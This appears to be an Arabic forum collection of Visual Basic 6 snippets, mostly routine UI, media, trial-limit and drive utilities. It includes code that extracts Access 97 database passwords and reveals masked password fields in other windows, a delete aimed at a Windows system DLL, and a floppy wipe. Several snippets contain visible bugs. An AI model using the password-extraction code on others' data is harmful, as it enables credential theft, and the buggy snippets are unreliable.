عالم الكودات+تصميم برامج أختراق+تصميم مساعد أوفيس المتحرك+ winsock+خدع 

للأتصال بالأنترنت باستخدام الdailup connection 


*كود برمجي* 


-------------------------------------------------------------------------------- 



Option Explicit 

Private Sub Command1_Click() 
Dim X 
Dim DialUpConnectName As String 
'قم بتحديد اسم الاتصال الذي تود الاتصال به 
DialUpConnectName = "Sts" 
X = Shell("rundll32.exe rnaui.dll,RnaDial " & DialUpConnectName, 1) 
DoEvents 
'في حال اردت ارسال كلمة السر ايضا قم باضافتها في النص التالي قبل القوس الاول مباشرة 
'"123(enter)" 
SendKeys "{enter}", True 
DoEvents 
End Sub 
كود خاص لمعرفة كلمة السر لملفات Access 97 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Option Explicit 
Private zChar As String 
Dim n As Long, s1 As String * 1, s2 As String * 1 
Dim lsClave As String 
Dim mask As String 


Private Sub Command1_Click() 
' يجب ان تضيف عنصر commonDialog الى برنامجك واسمه هنا DD 
DD.Filter = "Microsoft Access Database|*.mdb" 
DD.DefaultExt = "mdb" 
DD.ShowOpen 
zChar = DD.FileTitle 
mask = Chr(78) & Chr(134) & Chr(251) & Chr(236) & _ 
Chr(55) & Chr(93) & Chr(68) & Chr(156) & _ 
Chr(250) & Chr(198) & Chr(94) & Chr(40) & Chr(230) & Chr(19) 
Open zChar For Binary As #1 
Seek #1, &H42 
For n = 1 To 14 
s1 = Mid(mask, n, 1) 
s2 = Input(1, 1) 
If (Asc(s1) Xor Asc(s2)) <> 0 Then 
lsClave = lsClave & Chr(Asc(s1) Xor Asc(s2)) 
End If 
Next 
Close 1 
MsgBox lsClave & "كلمة السر هــي" 
End Sub 



-------------------------------------------------------------------------------- 


معرفة الوقت الذي مضى على تشغيل الويندوز (الوقت هنا بالملي ثانية) 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Declare Function GetTickCount Lib "Kernel32" () As Long 

Private Sub Command1_Click() 
MsgBox Format(GetTickCount, "0") 
End Sub 


-------------------------------------------------------------------------------- 


كود لمعرفة كلمات السر على هيئة نجوم ***** 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long 
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long 
Private Type POINTAPI 
x As Long 
y As Long 
End Type 
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 


Private Sub Timer1_Timer() 
Const EM_SETPASSWORDCHAR = &HCC 
Dim coord As POINTAPI 
'نقوم هنا بمعرفة احداثى الفأرة 
s = GetCursorPos(coord) 
x = coord.x 
y = coord.y 
'المكتوب بها كلمة المرور(textbox)نقوم هنا بمعرفة مقبض آداة التحرير 
h = WindowFromPoint(x, y) 
'Char 0 الى (PasswordChar)فى هذه الخطوة نقوم بتعديل خاصية ال 
Dim NewChar As Integer 
NewChar = CLng(0) 
retval = SendMessage(h, EM_SETPASSWORDCHAR, ByVal NewChar, 0) 
End Sub 


-------------------------------------------------------------------------------- 


كود لاضافة بيانات حقل معين في قاعدة البيانات الى عنصر list 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_Activate() 
Dim a As String 
Do While Not Data1.Recordset.EOF = True 
a = Data1.Recordset.Fields("name").Value 
' هنا تمثل اسم الحقل في قاعدة البيانات name كلمة 
List1.AddItem a 
Data1.Recordset.MoveNext 
Loop 
End Sub 


-------------------------------------------------------------------------------- 


كود يقوم بحماية برنامجك حيث يعمل عدد من المرات (تحددها بنفسك) ثم يتوقف نهائيا عن العمل ، وهو يشبه طريقة عمل الـ(register) في البرامج المشهورة 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_Load() 
retvalue = GetSetting("A", "0", "Runcount") 
GD$ = Val(retvalue) + 1 
SaveSetting "A", "0", "RunCount", GD$ 
If GD$ > 3 Then ' الرقم (3) يحدد عدد مرات التشغيل 
MsgBox "انتهت مدة تشغيل البرنامج .. عليك بشراء النسخة الاصلية" 
Unload FRM ' 
End If 
End Sub 


-------------------------------------------------------------------------------- 


يقوم بتحويل شكل التكست واليبل الى 3d 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'Set form's AutoRedraw property toTrue 
Sub PaintControl3D(frm As Form, Ctl As Control) 
' This Sub draws lines around controls to make them 3d 

' darkgrey, upper - horizontal 
frm.Line (Ctl.Left, Ctl.Top - 15)-(Ctl.Left + _ 
Ctl.Width, Ctl.Top - 15), &H808080, BF 
' darkgrey, left - vertical 
frm.Line (Ctl.Left - 15, Ctl.Top)-(Ctl.Left - 15, _ 
Ctl.Top + Ctl.Height), &H808080, BF 
' white, right - vertical 
frm.Line (Ctl.Left + Ctl.Width, Ctl.Top)- _ 
(Ctl.Left + Ctl.Width, Ctl.Top + Ctl.Height), &HFFFFFF, BF 
' white, lower - horizontal 
frm.Line (Ctl.Left, Ctl.Top + Ctl.Height)- _ 
(Ctl.Left + Ctl.Width, Ctl.Top + Ctl.Height), &HFFFFFF, BF 

End Sub 

Sub PaintForm3D(frm As Form) 
' This Sub draws lines around the Form to make it 3d 

' white, upper - horizontal 
frm.Line (0, 0)-(frm.ScaleWidth, 0), &HFFFFFF, BF 
' white, left - vertical 
frm.Line (0, 0)-(0, frm.ScaleHeight), &HFFFFFF, BF 
' darkgrey, right - vertical 
frm.Line (frm.ScaleWidth - 15, 0)-(frm.ScaleWidth - 15, _ 
frm.Height), &H808080, BF 
' darkgrey, lower - horizontal 
frm.Line (0, frm.ScaleHeight - 15)-(frm.ScaleWidth, _ 
frm.ScaleHeight - 15), &H808080, BF 

End Sub 

'DEMO USAGE 
'Add 1 label and 1 textbox 


Private Sub Form_Load() 

Me.AutoRedraw = True 
PaintForm3D Me 
PaintControl3D Me, Label1 'Label1 is name of label 
PaintControl3D Me, Text1 'Text1 is name of textbox 

End Sub 
ملاحظة في البداية لبد من انشاء تكست وليبل 


-------------------------------------------------------------------------------- 


كود الاظهار النص بشكل عمودي 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_Activate() 
Dim s As String 
For i = 1 To Len(Label1) 
s = s & Mid$(Label1, i, 1) & vbCrLf 
Next 
Label1 = s 
End Sub 



-------------------------------------------------------------------------------- 


كود تستطيع من خلاله حذف اي ملف 
*كود برمجي* 


-------------------------------------------------------------------------------- 


قم بوضع هذا الكود في قسم جنرال 
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long 
ومن ثم حدد سار الملف مثال 
Private Sub Command1_Click() 
dim x 
x = DeleteFile("C:\WINDOWS\system\LZEXPAND.DLL") 


-------------------------------------------------------------------------------- 


كود لاستدعاء ملف من نوع mid 
*كود برمجي* 


-------------------------------------------------------------------------------- 


قم بوضع اداة 
mmcontrol1 


m و 
اجعل نامي 
Private Sub Form_Load() 
m.DeviceType = "sequencer" 
m.FileName = ("e:\Holiday3.mid") 
m.Command = "open" 
m.Command = "play" 
END SUB 


-------------------------------------------------------------------------------- 


كود لتحميل فلاش من نوع SWF 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_Load() 
s.Movie = ("E:\Projects\Howl.swf") 
End Sub 


-------------------------------------------------------------------------------- 


كود لوضع مقطع الفيديو في بكتشر 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Command1_Click() 
MM.HWNDDISPLAY=PICTURE1.HWND 
End Sub 


-------------------------------------------------------------------------------- 


الزر الأيمن للماوس 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) 

IF BUTTON=2 THEN 
msgbox "الزر الأيمن للماوس" 
END IF 
End Sub 


-------------------------------------------------------------------------------- 


لكتابة بس ارقام في تكست بوكس 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub COMMAND1_CLICK() 
DIM SS AS STRING 
SS="123456789" 
IF INSTR(SS,CHR(KEYASCII)=0 THEN 
KEYASCII=0 
END IF 

End Sub 


-------------------------------------------------------------------------------- 


عمل مسح ملفات للقرص المرن 
*كود برمجي* 


-------------------------------------------------------------------------------- 


kill"A:\*.*" 


-------------------------------------------------------------------------------- 


عرض صندوق حوار Open With 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Command1_Click() 
Dim x As Long 
x = Shell("rundll32.exe shell32.dll,OpenAs_RunDLL C:\vbzoom.log") 
End Sub 


-------------------------------------------------------------------------------- 


حساب عدد سطور ملف نصى 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Command1_Click() 
Open "c:\autoexec.bat" For Input As #1 
Count: 
n = n + 1 
Line Input #1, x 
If EOF(1) Then 
Label1.Caption = n 
Exit Sub 
Else 
GoTo Count: 
End If 
Close 
End Sub 


-------------------------------------------------------------------------------- 


فحص المنافذ 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Command1_Click() 
On Error GoTo opn: 
Winsock1.LocalPort = Text1.Text 
Winsock1.Listen 
Text2.Text = "المنفذ غير مفتوح" 
Winsock1.Close 
Exit Sub 
opn: 
If Err.Number = 10048 Then 
Text2.Text = "المنفذ مفتوح" 
Else 
Text2.Text = "يوجد مشكلة" 
End If 
Winsock1.Close 
End Sub 


-------------------------------------------------------------------------------- 
البرنامج يعمل على القرص المدمج (السيدي رووم) فقط 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _ 
(ByVal nDrive As String) As Long 

Private Sub Form_Load() 
Dim driveType As Long 
driveType = GetDriveType(Mid(App.Path, 1, 3)) 
If driveType <> 5 Then 
'إنهاء البرنامج إذا كان لايشتغل من القرص المدمج 
End 
End If 
End Sub 



-------------------------------------------------------------------------------- 


هذا كود لتشفير وفك تشفير نص 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Command1_Click() 
For i = 1 To Len(Text1.Text) 
st1 = Mid(Text1.Text, i, 1) 
as1 = Asc(st1) 
ch1 = Chr(255 - as1) 
st = st + ch1 
Next 
Text1.Text = st 
End Sub 


-------------------------------------------------------------------------------- 


هذا الكود لإضافة عروض الفلاش لبرنامجك 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Command1_Click() 
Dim s As String 
s = App.Path 
If Mid(s, Len(s), 1) <> "\" Then s = s + "\" 
ShockwaveFlash1.Movie = s + "a4.swf" 

End Sub 


-------------------------------------------------------------------------------- 


لإنهاء صلاحيات برنامجك التجريبي بعد30 يوماً فقط 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Dim startdate As String 
Dim differenceofdate 
Dim TRACEDATE As String 
Dim newdate 
Dim chk 

If GetSetting(App.Title, "Startup", "counter", "") = "" Then 
SaveSetting App.Title, "Startup", "counter", 1 
SaveSetting App.Title, "Startup", "Started", Format(Date, "mm dd yyyy") 
SaveSetting App.Title, "Startup", "Last Used", Format(Date, "mm dd yyyy") 
lblcnt.Caption = "1" 

ElseIf GetSetting(App.Title, "Startup", "counter", "") = "31" Then 

MsgBox "شكراً لستخدامك هذا البرنامج " & Chr(10) + Chr(1) & "الرجاء إيقاف عمل هذا البرنامج او سيتم فقدان كل المعلومات التي قمت بإدخالها ", vbCritical, "شكراً لك " 

End 

Else 
TRACEDATE = GetSetting(App.Title, "Startup", "Last Used", "") 
chk = DateDiff("d", CDate(TRACEDATE), Now) 
If chk < 0 Then 'CHECK IF THE DATE WAS CHANGE which is lesser than the PREVIOUS DATE WHERE THE SYSTEM USED. 

MsgBox "لم يتم العثور على تاريخ النظام لديك !! " & Chr(10) + Chr(13) & " الرجاء تغييرة الأن وإلا لن يكون بإمكانك إستخدام هذا البرنامج لاحقاً", vbCritical, "تاريخ مفقود" 

End 
Else 
startdate = GetSetting(App.Title, "Startup", "Started", "") 
differenceofdate = DateDiff("d", startdate, Now) 
If differenceofdate <> 0 Then 
lblcnt.Caption = differenceofdate + 1 
SaveSetting App.Title, "Startup", "Last Used", Format(Now, "MM DD YYYY") 
SaveSetting App.Title, "Startup", "counter", differenceofdate + 1 
End If 
If differenceofdate = 0 Then 
lblcnt.Caption = GetSetting(App.Title, "Startup", "Counter", "") 
End If 
End If 
End If 
End Sub 


-------------------------------------------------------------------------------- 


هذا الكود يمكنك من قلب الصور عمودياً أو افقيا او نسخها 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Command1_Click() 
'الوضع الطبيعي النسخ 
Picture2.PaintPicture Picture1.Picture, 0, 0, _ 
Picture1.Width, Picture1.Height, 0, 0, _ 
Picture1.Width, Picture1.Height, vbSrcCopy 
End Sub 

Private Sub Command2_Click() 
'الوضع الافقي 
Picture2.PaintPicture Picture1.Picture, 0, 0, _ 
Picture1.Width, Picture1.Height, Picture1.Width, _ 
0, -Picture1.Width, Picture1.Height, vbSrcCopy 
End Sub 

Private Sub Command3_Click() 
'الوضع العمودي 
Picture2.PaintPicture Picture1.Picture, 0, 0, _ 
Picture1.Width, Picture1.Height, 0, Picture1.Height, _ 
Picture1.Width, -Picture1.Height, vbSrcCopy 
End Sub 

Private Sub Command4_Click() 
'لقلب الصورة 
Picture2.PaintPicture Picture1.Picture, 0, 0, _ 
Picture1.Width, Picture1.Height, Picture1.Width, _ 
Picture1.Height, -Picture1.Width, -Picture1.Height, vbSrcCopy 
End Sub 


-------------------------------------------------------------------------------- 


كود لنسخ خلفية سطح المكتب إلى نموذجك 
*كود برمجي* 


-------------------------------------------------------------------------------- 



Private Declare Function PaintDesktop Lib "user32" _ 
(ByVal hdc As Long) As Long 

'انسخ هذ الكودالى حدث النقر في زر الامر 
Private Sub Command1_Click() 
PaintDesktop Form1.hdc 
End Sub 


-------------------------------------------------------------------------------- 


تحويل اي حرف إلى حرف ASCII 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Dim temp as String 
temp=asc(text1.text) 
MsgBox temp 


-------------------------------------------------------------------------------- 


تحيه حسب الوقت 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_Load() 


If Time <= "11:30 AM" Then 
MsgBox ("Good Morning YourNameHere!") 
End 
End If 


If Time > "11:30 AM" And Time < "5:00 PM" Then 
MsgBox ("Good Afternoon YourNameHere!") 
End 
End If 


If Time > "5:00 PM" Then 
MsgBox ("Good Evening YourNameHere!") 
End 
End If 


If Time >= "12:01 AM" Then 
MsgBox ("Good Morning YourNameHere!") 
End 
End If 
End Sub 


-------------------------------------------------------------------------------- 


نوعية القرص (قرص مرن،سي دي،.....) 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'التصاريح 
Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 
Public Const DRIVE_CDROM = 5 
Public Const DRIVE_FIXED = 3 
Public Const DRIVE_RAMDISK = 6 
Public Const DRIVE_REMOTE = 4 
Public Const DRIVE_REMOVABLE = 2 


'الكود 
Dim strDrive As String 
Dim strMessage As String 
Dim intCnt As Integer 


For intCnt = 65 To 86 
strDrive = Chr(intCnt) 


Select Case GetDriveType(strDrive + ":\") 
Case DRIVE_REMOVABLE 
rtn = "Floppy Drive" 
Case DRIVE_FIXED 
rtn = "Hard Drive" 
Case DRIVE_REMOTE 
rtn = "Network Drive" 
Case DRIVE_CDROM 
rtn = "CD-ROM Drive" 
Case DRIVE_RAMDISK 
rtn = "RAM Disk" 
Case Else 
rtn = "" 
End Select 


If rtn <> "" Then 
strMessage = strMessage & vbCrLf & "Drive " & strDrive & " is type: " & rtn 
End If 
Next intCnt 
MsgBox (strMessage) 


-------------------------------------------------------------------------------- 


مؤثر على الفورم 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Public Sub Pause(Duration As Long) 
'//i didn't write this so i can't docume 
' nt it 
Dim Current As Long 
Current = Timer 


Do Until Timer - Current >= Duration 


DoEvents 
Loop 
End Sub 


Public Sub SlideRight(FirstForm As Form, SecondForm As Form) 
'//the second form is the one that does 
' the transition 
SecondForm.Show '//show the form 
SecondForm.Top = FirstForm.Top '//make the .Top equal for both form 
SecondForm.Height = FirstForm.Height '//make the .Height equal 
SecondForm.Width = FirstForm.Width '//make the .Width equal 
SecondForm.Left = SecondForm.Width * -1 '//make .Left negative 


Do Until SecondForm.Left = 0 
'//do the loop until the form is all the 
' way to the right 
SecondForm.Left = SecondForm.Left + 15 '//add 15 (duh) 
Pause 0.3 '//pause 
Loop 
End Sub 


Public Sub SlideDown(FirstForm As Form, SecondForm As Form) 
'//the second form is the one that does 
' the transition 
SecondForm.Show '//show the form 
SecondForm.Top = FirstForm.Height * -1 'make .Top negative 
SecondForm.Height = FirstForm.Height '//make the .Height equal 
SecondForm.Width = FirstForm.Width '//make the .Width equal 
SecondForm.Left = FirstForm.Left '//make the .Left equal 


Do Until SecondForm.Top = 0 
'//do the loop until the form is all the 
' way to the bottom 
SecondForm.Top = SecondForm.Top + 15 
Pause 0.3 
Loop 
End Sub 


Public Sub SlideLeft(FirstForm As Form, SecondForm As Form) 
'//the second form is the one that does 
' the transition 
SecondForm.Show 
SecondForm.Top = FirstForm.Top 
SecondForm.Height = FirstForm.Height 
SecondForm.Width = FirstForm.Width 
SecondForm.Left = FirstForm.Width '//put on right side of screen 


Do Until SecondForm.Left = 0 
SecondForm.Left = SecondForm.Left - 15 
Pause 0.3 
Loop 
End Sub 


Public Sub SlideUp(FirstForm As Form, SecondForm As Form) 
'//the second form is the one that does 
' the transition 
SecondForm.Show 
SecondForm.Top = FirstForm.Height '//put form to bottom of screen 
SecondForm.Height = FirstForm.Height 
SecondForm.Width = FirstForm.Width 
SecondForm.Left = FirstForm.Left 


Do Until SecondForm.Top = 0 
SecondForm.Top = SecondForm.Top - 15 
Pause 0.3 
Loop 
End Sub 


-------------------------------------------------------------------------------- 


فورم دائري 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Sub formcircle (frm As Form, Size As Integer) 


For e% = Size% - 1 To 0 Step -1 
frm.Left = frm.Left - e% 
frm.Top = frm.Top + (Size% - e%) 
Next e% 


For e% = Size% - 1 To 0 Step -1 
frm.Left = frm.Left + (Size% - e%) 
frm.Top = frm.Top + e% 
Next e% 


For e% = Size% - 1 To 0 Step -1 
frm.Left = frm.Left + e% 
frm.Top = frm.Top - (Size% - e%) 
Next e% 


For e% = Size% - 1 To 0 Step -1 
frm.Left = frm.Left - (Size% - e%) 
frm.Top = frm.Top - e% 
Next e% 
End Sub 


-------------------------------------------------------------------------------- 


تنزيل ملف من الانترنت 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'التصاريح 
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _ 
"URLDownloadToFileA" (ByVal pCaller As Long, _ 
ByVal szURL As String, _ 
ByVal szFileName As String, _ 
ByVal dwReserved As Long, _ 
ByVal lpfnCB As Long) As Long 


Public Function DownloadFile(URL As String, _ 
LocalFilename As String) As Boolean 
Dim lngRetVal As Long 
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0) 
If lngRetVal = 0 Then DownloadFile = True 
End Function 


'الكود 
G = DownloadFile("UrlOfTheFileToDownload", "c:\windows\desktop\FileName.htm") 


-------------------------------------------------------------------------------- 


أسماء المجلدات الرئيسية والفرعية في قائمة 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'التصاريح 
Sub Listdir(path) 
Dim d(1000) 
Dir1.path = path 


For lop = 0 To Dir1.ListCount - 1 
d(cnt) = Dir1.List(lop) 
cnt = cnt + 1 
Next lop 


For lop = 0 To cnt - 1 
List1.AddItem d(lop) 
cur_depth = cur_depth + 1 
listdir d(lop) 
Next lop 
cur_depth = curr_depth - 1 
End Sub 

'الكود 
Listdir(اسم المجلد) 


-------------------------------------------------------------------------------- 


كلام متحرك في TITLEBAR 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Timer1_Timer() 
On Error Resume Next 
If Val(Timer1.Tag) < Val(Timer1.Tag) - 1 Then Timer1.Tag = 0 
Me.Caption = Right(Text1.Text, Len(Text1.Text) - Val(Timer1.Tag)) 
Timer1.Tag = Val(Timer1.Tag) + 1 


If Me.Caption = "" Then 
If Val(Timer1.Tag) > Val(Timer1.Tag) - 1 Then Timer1.Tag = 0 
Me.Caption = Left(Text1.Text, Len(Text1.Text) - Val(Timer1.Tag)) 
Timer1.Tag = Val(Timer1.Tag) + 1 
End If 
End Sub 


Private Sub Form_Load() 
Timer1.Enabled = True 
End Sub 


-------------------------------------------------------------------------------- 


فتح وغلق سواقة الأقراص 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Declare Function mciSendString Lib "winmm.dll" _ 
Alias "mciSendStringA" _ 
(ByVal lpstrCommand As String, _ 
ByVal lpstrReturnString As String, _ 
ByVal uReturnLength As Long, _ 
ByVal hwndCallback As Long) As Long 



Public Sub EjectCD() 
Call mciSendString("set CDAudio Door Open Wait", 0&, 0&, 0&) 
bopen = True 
End Sub 


Public Sub CloseCD() 
Call mciSendString("set CDAudio Door Closed Wait", 0&, 0&, 0&) 
bopen = False 
End Sub 

'لفتح السواقة EjectCD 
'لغلق السواقة CloseCD 


-------------------------------------------------------------------------------- 


مؤثر حلو على الفورم 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Function Dist(x1, y1, x2, y2) As Single 
Dim A As Single, B As Single 
A = (x2 - y1) * (x2 - x1) 
B = (y2 - y1) * (y2 - y1) 
Dist = Sqr(A + B) 
End Function 
Sub MoveIt(A, B, t) 
A = (1 - t) * A + t * B 
End Sub 

Private Sub Form_Click() 
Cls 
Dim t As Single, x1 As Single, y1 As Single 
Dim x2 As Single, y2 As Single, x3 As Single 
Dim y3 As Single, x4 As Single, y4 As Single 

Scale (-320, 200)-(320, -200) 
t = 0.05 
x1 = -320: y1 = 200 
x2 = 320: y2 = 200 
x3 = 320: y3 = -200 
x4 = -320: y4 = -200 
Do Until Dist(x1, y1, x2, y2) < 10 
Line (x1, y1)-(x2, y2) 
Line -(x3, y3) 
Line -(x4, y4) 
Line -(x1, y1) 
MoveIt x1, x2, t 
MoveIt y1, y2, t 
MoveIt x2, x3, t 
MoveIt y2, y3, t 
MoveIt x3, x4, t 
MoveIt y3, y4, t 
MoveIt x4, x1, t 
MoveIt y4, y1, t 
Loop 
End Sub 

Private Sub Form_Resize() 
Cls 
Dim t As Single, x1 As Single, y1 As Single 
Dim x2 As Single, y2 As Single, x3 As Single 
Dim y3 As Single, x4 As Single, y4 As Single 

Scale (-320, 200)-(320, -200) 
t = 0.05 
x1 = -320: y1 = 200 
x2 = 320: y2 = 200 
x3 = 320: y3 = -200 
x4 = -320: y4 = -200 
Do Until Dist(x1, y1, x2, y2) < 10 
Line (x1, y1)-(x2, y2) 
Line -(x3, y3) 
Line -(x4, y4) 
Line -(x1, y1) 
MoveIt x1, x2, t 
MoveIt y1, y2, t 
MoveIt x2, x3, t 
MoveIt y2, y3, t 
MoveIt x3, x4, t 
MoveIt y3, y4, t 
MoveIt x4, x1, t 
MoveIt y4, y1, t 
Loop 
End Sub 


-------------------------------------------------------------------------------- 
اجعل برنامجك فوق الجميع always on top 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, _ 
ByVal hWndInsertAfter As Long, ByVal X As Long, _ 
ByVal Y As Long, ByVal CX As Long, ByVal CY As Long, _ 
ByVal wFlags As Long) As Long 
Private Const SWP_NOMOVE = 2 
Private Const SWP_NOSIZE = 1 
Private Const HWND_TOPMOST = -1 
Private Const HWND_NOTOPMOST = -2 

Public Sub SetOnTop(ByVal hwnd As Long, ByVal bSetOnTop As Boolean) 
Dim lR As Long 
If bSetOnTop Then 
lR = SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE) 
Else 
lR = SetWindowPos(hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE) 
End If 
End Sub 

Private Sub Form_Load() 
SetOnTop Form1.hwnd, True 
End Sub 



-------------------------------------------------------------------------------- 


هذا الكود لمنع تشغيل أكثر من نسخة من برنامجك 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_Load() 
If App.PrevInstance = True Then 
MsgBox "لا يمكن تشغيل أكثر من نسخة من البرنامج" 
Unload Me 
Exit Sub 
End If 
End Sub 


-------------------------------------------------------------------------------- 


بمجرد الكتابة في مربع النص يتم تحديد العنصر المطابق في صندوق القائمة Autocomplete 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'أضف مربعي نص وقائمة(لست بوكس) 

Const LB_FINDSTRING = &H18F 
Private Declare Function SendMessage Lib "User32" _ 
Alias "SendMessageA" _ 
(ByVal hWnd As Long, ByVal wMsg As Integer, _ 
ByVal wParam As Integer, lParam As Any) As Long 
Private Sub Form_Load() 
List1.Clear 
List1.AddItem "abcd": List1.AddItem "acbd" 
List1.AddItem "bcde": List1.AddItem "bdef" 
List1.AddItem "cdef": List1.AddItem "cfde" 
Text1.Text = "" 
End Sub 
Private Sub Text1_Change() 
List1.ListIndex = SendMessage(List1.hWnd, LB_FINDSTRING, -1, ByVal Text1.Text) 
End Sub 


-------------------------------------------------------------------------------- 


أيضا يمكنك باستخدام الكود التالي معرفة عدد الكلمات في مربع النص 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Public Function GetWordCount(ByVal Text As String) As Long 
Text = Trim(Replace(Text, "-" & vbNewLine, "")) 
'Replace new lines with a single space 
Text = Trim(Replace(Text, vbNewLine, " ")) 
'Collapse multiple spaces into one single space 
Do While Text Like "* *" 
Text = Replace(Text, " ", " ") 
Loop 
'Split the string and return counted words 
GetWordCount = 1 + UBound(Split(Text, " ")) 
End Function 


-------------------------------------------------------------------------------- 


تعتبر هذه الدالة مهمة جدا وسهلة الاستخدام لمعرفة الفرق بيت توقيتين محددين ( تاريخ أو وقت) 
*كود برمجي* 


-------------------------------------------------------------------------------- 


diff= DateDiff("d", "22/1/2001", "22/1/2002") 


-------------------------------------------------------------------------------- 


تأجيل تنفيذ الكود لفترة معينة 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Public Sub Delay(HowLong As Date) 
TempTime = DateAdd("s", HowLong, Now) 
While TempTime > Now 
DoEvents 
Wend 
End Sub 

Private Sub Command1_Click() 
Delay 5 
MsgBox "test" 
End Sub 


-------------------------------------------------------------------------------- 


كود للأتصال من خلال البرنامج باستعمال اداة mscomm 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'اضف 12 command و 2 text و اداة mscomm و ضع الكود التالي 
Option Explicit 

Private Sub Command1_Click(Index As Integer) 

Text1.Text = Text1.Text & Command1(Index).Caption 

End Sub 


Private Sub Command2_Click() 

On Error GoTo er: 

Dim DialString$, FromModem$, dummy 
Dim Result As Long 

If MSComm1.PortOpen = True Then: MsgBox "منفذ الاتصال قيد الاستخدام حاليا", vbInformation, "": Exit Sub 

If Text1.Text <> "" Then 
With MSComm1 
'تحديد منفذ الاتصال الخاص بالمودم 
.CommPort = Text2.Text 
'اعدادات خاصة بالمودم وسرعته 
.Settings = "9600,N,8,1" 
'فتح المنفذ للحصول على الخط 
.PortOpen = True 
'بعض الثوابت لتعريف الاتصال 
.Output = "ATDT" & MSComm1.Tag & Chr$(13) 
End With 
Else 
MsgBox "لايوجد رقم للأتصال به ؟", vbCritical, "خطاء" 
End If 

MSComm1.InBufferCount = 0 

'حلقة للحصول على نتائج الاتصال 
Do 
dummy = DoEvents() 
'تم اقفال منفذ الاتصال 
If MSComm1.PortOpen = False Then Exit Sub 

If MSComm1.InBufferCount Then 
FromModem$ = FromModem$ + MSComm1.Input 

If InStr(FromModem$, "NO DIALTONE") Then 
MsgBox "لايوجد صوت طنين تاكد من الخط غير مشغول او باتصاله بالمودم بشكل صحيح", vbInformation, "" 
Exit Do 
End If 

If InStr(FromModem$, "BUSY") Then 
MsgBox "الخط مشغول اعد الاتصال مرة اخرى", vbInformation, "" 
Exit Do 
End If 

If InStr(FromModem$, "OK") Then 
Result = MsgBox("ارفع السماعة واضغط موافق للمكالمة ان اردت انهاء المكالمة اضغط موافق بدون رفع السماعة", vbInformation, "") 
Exit Do 
End If 
End If 
Loop 
MSComm1.PortOpen = False 

Exit Sub 
er: 
If Err.Number = 8002 Then 
MsgBox "لا يوجد مودم في المنفذ المحدد فضلا تأكد من المنفذ الصحيح أو تأكد من وصل المودم بجهازك بشكل جيد", vbCritical, "خطاء" 
Else 
MsgBox Err.Number & " " & Err.Description, vbCritical, "خطاء" 
End If 

End Sub 


Private Sub Command3_Click() 

If MSComm1.PortOpen = False Then Exit Sub 
MSComm1.PortOpen = False 

End Sub 


-------------------------------------------------------------------------------- 


تشغيل الصوت 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'فقط *.wav إظهار الملفات من النوع 
commonDialog1.Filter = "Wave Files|*.wav|" 
'لإضهار مربع حوار فتح 
CommonDialog1.ShowOpen 
'لو لم يختار أي ملف فإنه يتم الخروج من هذا الإجراء 
'دون فتح الملف 
' FileName حيث أن اسم الملف يتواجد في الخاصية 
If CommonDialog1.FileName = "" Then Exit Sub 

'تحديد نوع الملف المطلوب تشغيله 
MMControl1.DeviceType = "waveaudio" 
'تحديد اسم ملف الصوت 
MMControl1.FileName = CommonDialog1.FileName 
'فتح ملف الصوت 
MMControl1.Command = "open 


-------------------------------------------------------------------------------- 


امر بحث عن الملفات 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'ضع هذا الكود في ملف باس bas 
Declare Function SearchTreeForFile Lib "IMAGEHLP.DLL" _ 
(ByVal lpRootPath As String, _ 
